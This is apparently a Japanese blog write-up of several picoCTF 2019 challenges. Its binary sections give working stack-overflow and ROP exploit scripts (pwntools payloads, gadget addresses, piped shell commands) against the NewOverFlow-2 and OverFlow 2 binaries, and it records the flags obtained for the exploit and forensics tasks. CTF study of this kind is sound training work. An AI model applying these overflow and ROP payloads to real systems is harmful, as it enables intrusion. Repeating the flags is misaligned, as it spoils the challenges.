中高生向けのCTF、picoCTF 2019 の write-up です。他の得点帯の write-up へのリンクはこちらを参照。
[Binary] NewOverFlow-2 (250pt)
Okay now lets try mainpulating arguments. program. You can find it in /problems/newoverflow-2_5_13f3d3dc09fc09d6d5db8adfa899a05d on the shell server. Source.
NewOverFlow-1 を解いたらでてきました。
実行ファイルvuln
とソースコードvuln.c
が配布されます。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <stdbool.h> #define BUFFSIZE 64 #define FLAGSIZE 64 bool win1 = false; bool win2 = false; void win_fn1(unsigned int arg_check) { if (arg_check == 0xDEADBEEF) { win1 = true; } } void win_fn2(unsigned int arg_check1, unsigned int arg_check2, unsigned int arg_check3) { if (win1 && \ arg_check1 == 0xBAADCAFE && \ arg_check2 == 0xCAFEBABE && \ arg_check3 == 0xABADBABE) { win2 = true; } } void win_fn() { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("'flag.txt' missing in the current directory!\n"); exit(0); } fgets(flag, sizeof(flag), file); if (win1 && win2) { printf("%s", flag); return; } else { printf("Nope, not quite...\n"); } } void flag() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("'flag.txt' missing in the current directory!\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFFSIZE]; gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Welcome to 64-bit. Can you match these numbers?"); vuln(); return 0; }
これはあれだ、条件をどんどん満たした形でwin
functionを呼び出していくやつだ。順番的に OverFlow 2 より上に来ちゃったけど、これの64bit版かな。
main
から呼ばれるのはvuln
関数のみ。vuln
関数にはこれまで同様、BufferOverflowの脆弱性があります。
flagを出力するのはflag
関数とwin_fn
関数。…なんで2つもあるんだ?
flag
関数は、そのまま呼び出すだけでflagを表示してくれそう。
win_fn
では、win_fn1
,win_fn2
でセットできるwin1
,win2
の値を確認しています。こっちを使う場合は、win_fn1
,win_fn2
も適切な引数で呼び出しておく必要があります。こっちを使うのが想定解かな?
今回、下記の3つの方法を試してみました。
- flag()を直接呼び出す
- 条件を揃えてwin_fn()を呼び出す(できなかった)
- win_fn2()を1にする命令を使う
flag()を直接呼び出す
NewOverFlow-1 の解法とほぼ同じなのでまずこれを。ほぼ同じなのでflag()
関数は消し忘れなんだろうか?そんな事ある?
radare2を使って各関数と使えそうなret関数を探します。
$ r2 vuln > aaaa > afl (略) 0x00400767 3 26 sym.win_fn1 0x00400781 6 61 sym.win_fn2 0x004007be 7 143 sym.win_fn 0x0040084d 3 101 sym.flag 0x004008b2 1 28 sym.vuln 0x004008ce 1 105 sym.main (略) > s sym.flag > pdf (略) | 0x004008b0 c9 leave \ 0x004008b1 c3 ret
これで、今から使う flag
関数のアドレスは 0x0040084d
、ret
は 0x004008b1
が得られました。今回もそのままflag
関数のアドレスを使うとセグフォが発生してしまします。1のときと同じく、retを挟んであげます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * flag_addr = 0x0040084d ret_addr = 0x004008b1 payload = b'a' * (64+8) payload += p64(ret_addr) payload += p64(flag_addr) print(payload)
実行結果
$ python solve2.py b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb1\x08@\x00\x00\x00\x00\x00M\x08@\x00\x00\x00\x00\x00'
shell serverで組み立てたpayloadを送ってあげます。
$ (echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb1\x08@\x00\x00\x00\x00\x00M\x08@\x00\x00\x00\x00\x00"; cat) | ./vuln Welcome to 64-bit. Can you match these numbers? picoCTF{r0p_1t_d0nT_st0p_1t_b3358018}
出ちゃったよ!
条件を揃えてwin_fn()を呼び出す (できなかった)
こっちが想定解っぽい方。でもこっちで解いているwriteupが探してもでてこない。結果的には解けなかった。
- vuln関数のBufferOverflowを利用して
- win_fn1 を 引数
0xDEADBEEF
で呼び出す - win_fn2 を 引数
0xBAADCAFE
,0xCAFEBABE
,0xABADBABE
で呼び出す - win_fn を呼び出す
この作戦で良さそう。そういえばångstromCTF 2019 の Chain of Ropeとかなり似ています。
各関数のアドレスは、上記のflag()
関数を呼び出す解法のとき確認しました。次に、各引数の格納先を、これまたradare2で確認します。
$ r2 vuln > aaaa [0x00400680]> s sym.win_fn1 [0x00400767]> pdf / (fcn) sym.win_fn1 26 | sym.win_fn1 (int arg1); | ; var int local_4h @ rbp-0x4 | ; arg int arg1 @ rdi (略) [0x00400767]> s sym.win_fn2 [0x00400781]> pdf / (fcn) sym.win_fn2 61 | sym.win_fn2 (int arg1, int arg2, int arg3); | ; var int local_ch @ rbp-0xc | ; var int local_8h @ rbp-0x8 | ; var int local_4h @ rbp-0x4 | ; arg int arg1 @ rdi | ; arg int arg2 @ rsi | ; arg int arg3 @ rdx
下記のように組み立てられると良さそう。
0x40 + 0x8 | buffer 0x8 | pop rdi 0x8 | win_fn1_arg1 # rdi 0x8 | win_fn1() 0x8 | pop rdi, rsi, rdx 0x8 | win_fn2_arg1 # rdi 0x8 | win_fn2_arg2 # rsi 0x8 | win_fn2_arg3 # rdx 0x8 | win_fn2() 0x8 | win_fn()
次に、使えそうなpop
命令を探します。(radare2)
> "/R pop;ret" 0x004006dc bf70106000 mov edi, 0x601070 0x004006e1 ffe0 jmp rax 0x004006e3 0f1f440000 nop dword [rax + rax] 0x004006e8 5d pop rbp 0x004006e9 c3 ret 0x004006de 106000 adc byte [rax], ah 0x004006e1 ffe0 jmp rax 0x004006e3 0f1f440000 nop dword [rax + rax] 0x004006e8 5d pop rbp 0x004006e9 c3 ret 0x004006e5 440000 add byte [rax], r8b 0x004006e8 5d pop rbp 0x004006e9 c3 ret 0x004006e6 0000 add byte [rax], al 0x004006e8 5d pop rbp 0x004006e9 c3 ret 0x0040071e bf70106000 mov edi, 0x601070 0x00400723 ffe0 jmp rax 0x00400725 0f1f00 nop dword [rax] 0x00400728 5d pop rbp 0x00400729 c3 ret 0x00400720 106000 adc byte [rax], ah 0x00400723 ffe0 jmp rax 0x00400725 0f1f00 nop dword [rax] 0x00400728 5d pop rbp 0x00400729 c3 ret 0x0040073a 4889e5 mov rbp, rsp 0x0040073d e87effffff call 0x4006c0 0x00400742 c6052f09200001 mov byte [rip + 0x20092f], 1 0x00400749 5d pop rbp 0x0040074a c3 ret 0x0040073b 89e5 mov ebp, esp 0x0040073d e87effffff call 0x4006c0 0x00400742 c6052f09200001 mov byte [rip + 0x20092f], 1 0x00400749 5d pop rbp 0x0040074a c3 ret 0x00400745 0920 or dword [rax], esp 0x00400747 0001 add byte [rcx], al 0x00400749 5d pop rbp 0x0040074a c3 ret 0x00400772 beadde7507 mov esi, 0x775dead 0x00400777 c605fb08200001 mov byte [rip + 0x2008fb], 1 0x0040077e 90 nop 0x0040077f 5d pop rbp 0x00400780 c3 ret 0x00400774 de7507 fidiv word [rbp + 7] 0x00400777 c605fb08200001 mov byte [rip + 0x2008fb], 1 0x0040077e 90 nop 0x0040077f 5d pop rbp 0x00400780 c3 ret 0x00400775 7507 jne 0x40077e 0x00400777 c605fb08200001 mov byte [rip + 0x2008fb], 1 0x0040077e 90 nop 0x0040077f 5d pop rbp 0x00400780 c3 ret 0x0040077a 0820 or byte [rax], ah 0x0040077c 0001 add byte [rcx], al 0x0040077e 90 nop 0x0040077f 5d pop rbp 0x00400780 c3 ret 0x004007af baadab7507 mov edx, 0x775abad 0x004007b4 c605bf08200001 mov byte [rip + 0x2008bf], 1 0x004007bb 90 nop 0x004007bc 5d pop rbp 0x004007bd c3 ret 0x004007b2 7507 jne 0x4007bb 0x004007b4 c605bf08200001 mov byte [rip + 0x2008bf], 1 0x004007bb 90 nop 0x004007bc 5d pop rbp 0x004007bd c3 ret 0x004007b6 bf08200001 mov edi, 0x1002008 0x004007bb 90 nop 0x004007bc 5d pop rbp 0x004007bd c3 ret 0x004007b7 0820 or byte [rax], ah 0x004007b9 0001 add byte [rcx], al 0x004007bb 90 nop 0x004007bc 5d pop rbp 0x004007bd c3 ret 0x0040099c 415c pop r12 0x0040099e 415d pop r13 0x004009a0 415e pop r14 0x004009a2 415f pop r15 0x004009a4 c3 ret 0x0040099d 5c pop rsp 0x0040099e 415d pop r13 0x004009a0 415e pop r14 0x004009a2 415f pop r15 0x004009a4 c3 ret 0x0040099f 5d pop rbp 0x004009a0 415e pop r14 0x004009a2 415f pop r15 0x004009a4 c3 ret 0x004009a1 5e pop rsi 0x004009a2 415f pop r15 0x004009a4 c3 ret 0x004009a3 5f pop rdi 0x004009a4 c3 ret
うわー、めっちゃある!!!
0x004009a3 5f pop rdi 0x004009a4 c3 ret
0x004009a1 5e pop rsi 0x004009a2 415f pop r15 0x004009a4 c3 ret
このあたりが使えそうなので、上記リンクでやったのと同じように、これらを使って組み直します。
0x40 + 0x8 | buffer 0x8 | pop rdi 0x8 | win_fn1_arg1 # rdi 0x8 | win_fn1() 0x8 | pop rdi 0x8 | win_fn2_arg1 # rdi 0x8 | pop rsi, r15 0x8 | win_fn2_arg2 # rsi 0x8 | dummy 0x8 | pop rdx # ※ない…! 0x8 | win_fn2_arg3 # rdx 0x8 | win_fn2() 0x8 | win_fn()
ここまで書いてみたものの、rdxをpopするようなコマンドが見つかりません。
64ビット環境におけるリバースエンジニアリング - セキュリティごった煮ブログ|ネットエージェント
によると、pop rdx
は pop r10
があれば代用できそうなのですが、それもありません。試しに上記で出てきたpop-ret
アドレス全部で試してみましたが、組めませんでした。
CTFs/NewOverFlow-2.md at master · Dvd848/CTFs · GitHub
によると、pwntoolsのrop機能を使っても組めなかったみたいです。ということは想定解じゃなかったのかな???
今後のためにコードだけ残しておきます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- # this code's output doesn't work! from pwn import * e = ELF('vuln') win_fn1_addr = 0x00400767 win_fn2_addr = 0x00400781 win_fn_addr = 0x004007be win_fn1_arg1 = 0xDEADBEEF win_fn2_arg1 = 0xBAADCAFE win_fn2_arg2 = 0xCAFEBABE win_fn2_arg3 = 0xABADBABE pop_rdi = 0x004009a3 pop_rsi_r15 = 0x004009a1 pop_rdx = 0x004009a0 # it's not work payload = b'a' * (64+8) payload += p64(pop_rdi) payload += p64(win_fn1_arg1) payload += p64(win_fn1_addr) payload += p64(pop_rdi) payload += p64(win_fn2_arg1) payload += p64(pop_rsi_r15) payload += p64(win_fn2_arg2) payload += b'a' * 8 payload += p64(pop_rdx) payload += p64(win_fn2_arg3) payload += p64(win_fn2_addr) payload += p64(win_fn_addr) print(payload)
win_fn2()を1にする命令を使う
実は、先程の "条件を揃えてwin_fn()を呼び出す" で rdx の pop を探している時に
0x004007b4 c605bf08200001 mov byte [rip + 0x2008bf], 1
を使うと取れました。でもこれは pop rdx
の代わりに使えたというわけではなく、下記のwriteupのとおり、この命令で win2
が true に書き換わるからのようです。
CTFs/NewOverFlow-2.md at master · Dvd848/CTFs · GitHub
0x4007b4 ; [0x60107a:1]=0 mov byte [obj.win2], 1
これを利用すれば、pop rdx
できなくても(win_fn2
を呼び出さなくても)良さそうです。
0x40 + 0x8 | buffer 0x8 | pop rdi 0x8 | win_fn1_arg1 # rdi 0x8 | win_fn1() 0x8 | turn_win2_true (0x004007b4) 0x8 | dummy 0x8 | win_fn()
上記のコードを元に、上の呼び出しを組んでみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * win_fn1_addr = 0x00400767 win_fn_addr = 0x004007be win_fn1_arg1 = 0xDEADBEEF pop_rdi = 0x004009a3 turn_win2_true = 0x004007b4 payload = b'a' * (64+8) payload += p64(pop_rdi) payload += p64(win_fn1_arg1) payload += p64(win_fn1_addr) payload += p64(turn_win2_true) payload += b'a' * 8 payload += p64(win_fn_addr) print(payload)
実行結果
$ python solve3.py b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa3\t@\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00g\x07@\x00\x00\x00\x00\x00\xb4\x07@\x00\x00\x00\x00\x00aaaaaaaa\xbe\x07@\x00\x00\x00\x00\x00'
これを picoCTF shell server に送ってみます。
$ (echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa3\t@\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00g\x07@\x00\x00\x00\x00\x00\xb4\x07@\x00\x00\x00\x00\x00aaaaaaaa\xbe\x07@\x00\x00\x00\x00\x00"; cat) | ./vuln Welcome to 64-bit. Can you match these numbers? picoCTF{r0p_1t_d0nT_st0p_1t_b3358018}
おお、取れたー!!IDAで解析したらこういう横道も見つけられるのね。
順番に呼び出していく2番目のやつ、何かしらやり方はあると思うのだけど難しかった…。誰か教えてくれないかなー。
[Binary] OverFlow 2 (250pt)
Now try overwriting arguments. Can you get the flag from this program? You can find it in /problems/overflow-2_2_47d6bbdfb1ccd0d65a76e6cbe0935b0f on the shell server. Source.
実行ファイルvuln
とソースコードvuln.c
が配布されます。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 176 #define FLAGSIZE 64 void flag(unsigned int arg1, unsigned int arg2) { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); if (arg1 != 0xDEADBEEF) return; if (arg2 != 0xC0DED00D) return; printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0; }
今回は OverFlow 1 の問題に加えて、flag
関数の引数が正しく設定される必要がある問題です。
arg1 = 0xDEADBEEF arg2 = 0xC0DED00D
を設定して、flag関数を呼び出してあげます。これも picoCTF2018の buffer overflow 2 と同じ解法です。
今回も心のこもった手作業でinputを作ります。
まずはflag
関数のアドレスを探します。
$ objdump -d vuln | grep flag 080485e6 <flag>: 8048618: 75 1c jne 8048636 <flag+0x50> 8048651: 75 1a jne 804866d <flag+0x87> 804865a: 75 14 jne 8048670 <flag+0x8a> 804866b: eb 04 jmp 8048671 <flag+0x8b> 804866e: eb 01 jmp 8048671 <flag+0x8b>
flag()
関数のアドレスは0x080485e6
。
vuln関数のstackはこんな感じ。
eax | buffer start | | <176+8 bytes>| | buffer end | ebp | <4 bytes> | return | |
また適当な文字列で 176+8+4
バイト詰めます。
このあとにflag
関数のアドレスを。
さらにflag
関数のret分4バイトを適当な文字で詰めます。
その次に引数を arg1, arg2 の順に詰めます。
手作業と言っておきながら面倒だったのでpythonにします。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * e = ELF('vuln') flag_addr = 0x080485e6 arg1 = 0xDEADBEEF arg2 = 0xC0DED00D payload = b'a' * (176+8+4) payload += p32(flag_addr) payload += b'a' * 4 payload += p32(arg1) payload += p32(arg2) print(payload)
実行結果
$ python solve.py [*] '***/picoCTF_2019/Binary/250_OverFlow 2/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08aaaa\xef\xbe\xad\xde\r\xd0\xde\xc0'
あとはこれを送ってあげます。
$ (echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08aaaa\xef\xbe\xad\xde\r\xd0\xde\xc0"; cat) | ./vuln Please enter your string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa���aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaᆳ� picoCTF{arg5_and_r3turn5ce5cf61a}
[Forensics] WhitePages (250pt)
I stopped using YellowPages and moved onto WhitePages... but the page they gave me is all blank!
whitepages.txt
が配布されます。テキストエディタで開いてみると、確かに何も書いてありません。
fileコマンドで見てみます。
$ file whitepages.txt whitepages.txt: UTF-8 Unicode text, with very long lines, with no line terminators
おや、with very long lines ということで、本当はデータが沢山あるようです。
よく見てみると、スペースやタブが入ってそうな…。これはWhitespace言語に違いない!
他の問題を解いたときにお世話になったこちらのツールでC言語に変換してもらいます。
うーん、cに変換して実行しても何も出てこない。そもそももともとスペースとタブではなく、スペースと何かわからない何も出力されないblank文字だ…。
whitespace調べているうちに、こんなサイトを見つけました。コンパイルして実行してくれるサイトです。なんとWhitespaceにも対応…!けど今回のは実行できず。どこかでまた使えるかも。
- Online Compiler and IDE >> C/C++, Java, PHP, Python, Perl and 70+ other compilers and interpreters - Ideone.com
- Whitelips the Whitespace IDE
で、よく考えたら スペース と よくわからないblank文字の2つが並んだテキスト なので、これを01
に変換してやります。なんとなくスペースのほうが少なそうだったのでこっちを1
に、もう一方を0
にするとこうなりました。
00001010000010010000100101110000011010010110001101101111010000110101010001000110000010100000101000001001000010010101001101000101010001010010000001010000010101010100001001001100010010010100001100100000010100100100010101000011010011110101001001000100010100110010000000100110001000000100001001000001010000110100101101000111010100100100111101010101010011100100010000100000010100100100010101010000010011110101001001010100000010100000100100001001001101010011000000110000001100000010000001000110011011110111001001100010011001010111001100100000010000010111011001100101001011000010000001010000011010010111010001110100011100110110001001110101011100100110011101101000001011000010000001010000010000010010000000110001001101010011001000110001001100110000101000001001000010010111000001101001011000110110111101000011010101000100011001111011011011100110111101110100010111110110000101101100011011000101111101110011011100000110000101100011011001010111001101011111011000010111001001100101010111110110001101110010011001010110000101110100011001010110010001011111011001010111000101110101011000010110110001011111001100010011011100111000011001000011011100110010001100000011001000110101001100100110000101100110001100010110000101100110001100100011100100110011001101100011100101100101001100010011010100110100011001010110001101100001001100100011001101100001001110010011010101111101000010100000100100001001
これを8文字ずつに区切ってascii codeに変換してみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- bincode = "00001010000010010000100101110000011010010110001101101111010000110101010001000110000010100000101000001001000010010101001101000101010001010010000001010000010101010100001001001100010010010100001100100000010100100100010101000011010011110101001001000100010100110010000000100110001000000100001001000001010000110100101101000111010100100100111101010101010011100100010000100000010100100100010101010000010011110101001001010100000010100000100100001001001101010011000000110000001100000010000001000110011011110111001001100010011001010111001100100000010000010111011001100101001011000010000001010000011010010111010001110100011100110110001001110101011100100110011101101000001011000010000001010000010000010010000000110001001101010011001000110001001100110000101000001001000010010111000001101001011000110110111101000011010101000100011001111011011011100110111101110100010111110110000101101100011011000101111101110011011100000110000101100011011001010111001101011111011000010111001001100101010111110110001101110010011001010110000101110100011001010110010001011111011001010111000101110101011000010110110001011111001100010011011100111000011001000011011100110010001100000011001000110101001100100110000101100110001100010110000101100110001100100011100100110011001101100011100101100101001100010011010100110100011001010110001101100001001100100011001101100001001110010011010101111101000010100000100100001001" def bin2ascii(bin_str): n = int(bin_str, 2) return n.to_bytes((n.bit_length() + 7) // 8, 'big').decode() flag = '' blocks = [] for i in range(len(bincode)//8): flag += bin2ascii(bincode[i*8:i*8+8]) print(flag)
実行結果
$ python solve.py picoCTF SEE PUBLIC RECORDS & BACKGROUND REPORT 5000 Forbes Ave, Pittsburgh, PA 15213 picoCTF{not_all_spaces_are_created_equal_178d720252af1af29369e154eca23a95}
出ました!!こっちかぁぁぁーーーーーー!!!
絶対whitespaceだと思っていたのでめっちゃ時間かかった。
[Reversing] asm2 (250pt)
What does asm2(0xd,0x1e) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm2_5_19a47cfa109e75480bcd052744a7a816.
今回もアセンブリのファイルが配布されます。
asm2: <+0>: push ebp <+1>: mov ebp,esp <+3>: sub esp,0x10 <+6>: mov eax,DWORD PTR [ebp+0xc] <+9>: mov DWORD PTR [ebp-0x4],eax <+12>: mov eax,DWORD PTR [ebp+0x8] <+15>: mov DWORD PTR [ebp-0x8],eax <+18>: jmp 0x50c <asm2+31> <+20>: add DWORD PTR [ebp-0x4],0x1 <+24>: add DWORD PTR [ebp-0x8],0xfa <+31>: cmp DWORD PTR [ebp-0x8],0x67a8 <+38>: jle 0x501 <asm2+20> <+40>: mov eax,DWORD PTR [ebp-0x4] <+43>: leave <+44>: ret
入力値が0xd,0x1e
のときの出力を聞かれています。今回も短いので読んでみます。
asm2: <+0>: push ebp # base pointer を stackの一番上に <+1>: mov ebp,esp # stack pointer を ebp に追従 <+3>: sub esp,0x10 # stack pointer を 0x10 ひく <+6>: mov eax,DWORD PTR [ebp+0xc] # eaxに 0x1e を代入 <+9>: mov DWORD PTR [ebp-0x4],eax # ebp-0x4 に eax (0x1e) を代入 <+12>: mov eax,DWORD PTR [ebp+0x8] # eax に 0xd を代入 <+15>: mov DWORD PTR [ebp-0x8],eax # ebp-0x8 に eax (0xd) を代入 <+18>: jmp 0x50c <asm2+31> # 31 に飛ぶ <+20>: add DWORD PTR [ebp-0x4],0x1 # 0x1e + 0x1 = 0x1f <+24>: add DWORD PTR [ebp-0x8],0xfa # 0xd + 0xfa = 0x107 ※1 <+31>: cmp DWORD PTR [ebp-0x8],0x67a8 # 0xdと0x67a8を比較 <+38>: jle 0x501 <asm2+20> # 0xdのほうが小さいので 20に飛ぶ <+40>: mov eax,DWORD PTR [ebp-0x4] <+43>: leave <+44>: ret
※1のあと+31
に戻り、cmp結果がtrueになるまで繰り返します。
0xd
に0xfa
を足していき、0x67a8
になるまで続けると、ebp-0x4
は0x1e
に0x1
を足していき、最終的に0x89
になります。
この値がretになるので、答えは0x89
[Forensics] c0rrupt (250pt)
We found this file. Recover the flag. You can also find the file in /problems/c0rrupt_0_1fcad1344c25a122a00721e4af86de13.
mystery
というファイルが配布されます。
lessコマンドで簡単に中身を見てみると、sRGB, pHYs などの文字が見えるので、画像(png)データの可能性が高そう。
Recoverとのことなので、修復してあげるっぽい。バイナリエディタで開いてみます。私はMac用のバイナリエディタiHexを使いました。
また、pngの解析にはpngcheck
というツールがよく使われているみたいなので、こちらもinstallしました。macに直接入れています。
$ brew install pmgcheck
まずは解析してみます。
$ pngcheck -v mystery File: mystery (202940 bytes) this is neither a PNG or JNG image nor a MNG stream ERRORS DETECTED in mystery
全然だめっぽい。下記サイトを参考にしつつ、PNGのSigneture(固定値)を直していきます。
最初の16バイトを書き換えて、再度チェックしてみます。
$ pngcheck -v solved.png File: solved.png (202940 bytes) chunk IHDR at offset 0x0000c, length 13 1642 x 1095 image, 24-bit RGB, non-interlaced chunk sRGB at offset 0x00025, length 1 rendering intent = perceptual chunk gAMA at offset 0x00032, length 4: 0.45455 chunk pHYs at offset 0x00042, length 9: 2852132389x5669 pixels/meter CRC error in chunk pHYs (computed 38d82c82, expected 495224f0) ERRORS DETECTED in solved.png
また引っかかりました。今度はpHYsのCRCで引っかかったみたいです。PNGフォーマットに明るくないので、上のサイトを参考にしつつ、地道に値を表示させながら修正していくことにしました。
最初は手作業とメモでやってたのですが、途中でわからなくなりそうだったので一応スクリプトに。もう試行錯誤そのまま現れているので長いですがそのまま載せます。
実際は、値を表示してみておかしいところを直して、pngcheck
かけて次のおかしそうなところを見つけて…、とやっていっています。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import binascii corrupt_file = 'mystery' output_file = 'solved.png' with open(corrupt_file, 'rb') as f: data = f.read() ## PNG SIGNATURE (8) PNG_SIGNATURE = binascii.unhexlify('89504E470D0A1A0A') # fixed if data[:8] != PNG_SIGNATURE: print('[Overwirte] PNG SIGNATURE') data = PNG_SIGNATURE + data[8:] ## IHDR (4, 4, 4, 4, 1, 1, 1, 1, 1, 4) IHDR_LENGTH = binascii.unhexlify('0000000D') # 13 fixed if data[8:12] != IHDR_LENGTH: print('[Overwirte] IHDR_LENGTH') data = data[:8] + IHDR_LENGTH + data[12:] IHDR_CHUNK_TYPE = binascii.unhexlify('49484452') # IHDR fixed if data[12:16] != IHDR_CHUNK_TYPE: print('[Overwirte] IHDR_CHUNK_TYPE') data = data[:12] + IHDR_CHUNK_TYPE + data[16:] IHDR_width = binascii.hexlify(data[16:20]) IHDR_height = binascii.hexlify(data[20:24]) IHDR_depth = binascii.hexlify(data[24:25]) IHDR_color_type = binascii.hexlify(data[25:26]) IHDR_comppress = binascii.hexlify(data[26:27]) IHDR_filter = binascii.hexlify(data[27:28]) IHDR_interlace = binascii.hexlify(data[28:29]) IHDR_crc = binascii.hexlify(data[29:33]) print('IHDR_width: ' + str(IHDR_width)) print('IHDR_height: ' + str(IHDR_height)) print('IHDR_depth: ' + str(IHDR_depth)) print('IHDR_color_type: ' + str(IHDR_color_type)) print('IHDR_comppress: ' + str(IHDR_comppress)) print('IHDR_filter: ' + str(IHDR_filter)) print('IHDR_interlace: ' + str(IHDR_interlace)) print('IHDR_crc: ' + str(IHDR_crc)) ## sRGB (4, 4, 1, 4) sRGB_length = binascii.hexlify(data[33:37]) # 1 fixed sRGB_chunk_type = binascii.hexlify(data[37:41]) # sRGB fixed sRGB_data = binascii.hexlify(data[41:42]) sRGB_crc = binascii.hexlify(data[42:46]) print('sRGB_length: ' + str(sRGB_length)) print('sRGB_chunk_type: ' + str(sRGB_chunk_type)) print('sRGB_data: ' + str(sRGB_data)) print('sRGB_crc: ' + str(sRGB_crc)) ## gAMA (4, 4, 4, 4) gAMA_length = binascii.hexlify(data[46:50]) # 4 fixed gAMA_chunk_type = binascii.hexlify(data[50:54]) # gAMA fixed gAMA_data = binascii.hexlify(data[54:58]) gAMA_crc = binascii.hexlify(data[58:62]) print('gAMA_length: ' + str(gAMA_length)) print('gAMA_chunk_type: ' + str(gAMA_chunk_type)) print('gAMA_data: ' + str(gAMA_data)) print('gAMA_crc: ' + str(gAMA_crc)) ## pHYs (4, 4, 4, 4, 1, 4) pHYs_length = binascii.hexlify(data[62:66]) # 9 fixed pHYs_chunk_type = binascii.hexlify(data[66:70]) # pHYs fixed pHYs_data_x = binascii.hexlify(data[70:74]) # too large! 0xaa001625 -> 0x00001625 pHYs_data_y = binascii.hexlify(data[74:78]) pHYs_data_u = binascii.hexlify(data[78:79]) pHYs_crc = binascii.hexlify(data[79:83]) print('pHYs_length: ' + str(pHYs_length)) print('pHYs_chunk_type: ' + str(pHYs_chunk_type)) print('pHYs_data_x: ' + str(pHYs_data_x)) print('pHYs_data_y: ' + str(pHYs_data_y)) print('pHYs_data_u: ' + str(pHYs_data_u)) print('pHYs_crc: ' + str(pHYs_crc)) pHYs_data_x = binascii.unhexlify('00001625') data = data[:70] + pHYs_data_x + data[74:] print('[Overwirte] pHYs_data_x') ## IDAT_1 (4, 4, n, 4) IDAT_1_length = binascii.hexlify(data[83:87]) # too large! 0xaaaaffa5 IDAT_1_chunk_type = binascii.hexlify(data[87:91]) # IDAT fixed (0x49444154) print('IDAT_1_length: ' + str(IDAT_1_length)) print('IDAT_1_chunk_type: ' + str(IDAT_1_chunk_type)) IDAT_1_length = binascii.unhexlify('0000ffa5') data = data[:83] + IDAT_1_length + data[87:] print('[Overwirte] IDAT_1_length') IDAT_1_chunk_type = binascii.unhexlify('49444154') data = data[:87] + IDAT_1_chunk_type + data[91:] print('[Overwirte] IDAT_1_chunk_type') with open(output_file, 'wb') as f: f.write(data)
ここまで直したところで、ついに壊れていない画像が出てきました!時間かかった…!
[Forensics] like1000 (250pt)
This .tar file got tarred alot. Also available at /problems/like1000_0_369bbdba2af17750ddf10cc415672f1c.
1000.tar
が配布されます。問題文からして1000回tarしてあるので1000回解凍してあげれば良さそう。
ちょっと手で解凍してみた感じ、解凍すると999.tar
,998.tar
,...と名前が変化していきます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import tarfile for i in range(1000, 0, -1): filename = str(i) + '.tar' with tarfile.open(filename, 'r') as tf: tf.extractall(path='.')
※消してないので1000個ファイルができるので注意!
最後に1.tar
が生成されたので、これを解凍するとflag.png
が出てきました。
[Forensics] m00nwalk (250pt)
Decode this message from the moon. You can also find the file in /problems/m00nwalk_0_05441e9344c829ba5a648e8b28ef1564.
Hints
How did pictures from the moon landing get sent back to Earth?
What is the CMU mascot?, that might help select a RX option
message.wav
ファイルが配布されます。素直に聞いてみましたがピコピコうるさいです。ノイズにしか聞こえない。FAX送受信のときの音に似ています。
ヒントを見てみると、月面着陸の時に地球にどうやって画像が送られたか?というのと、カーネギーメロン大学のマスコットは?というのがあります。後者は、ぐぐるとScotty the the Scottie Dog
ということだそうです。こいつ。
FAXで使われている「ピーガガガ」みたいな音を画像に変換するツールを探してみます。調べてみると DTMF解析
というのがそれに当たりそう。
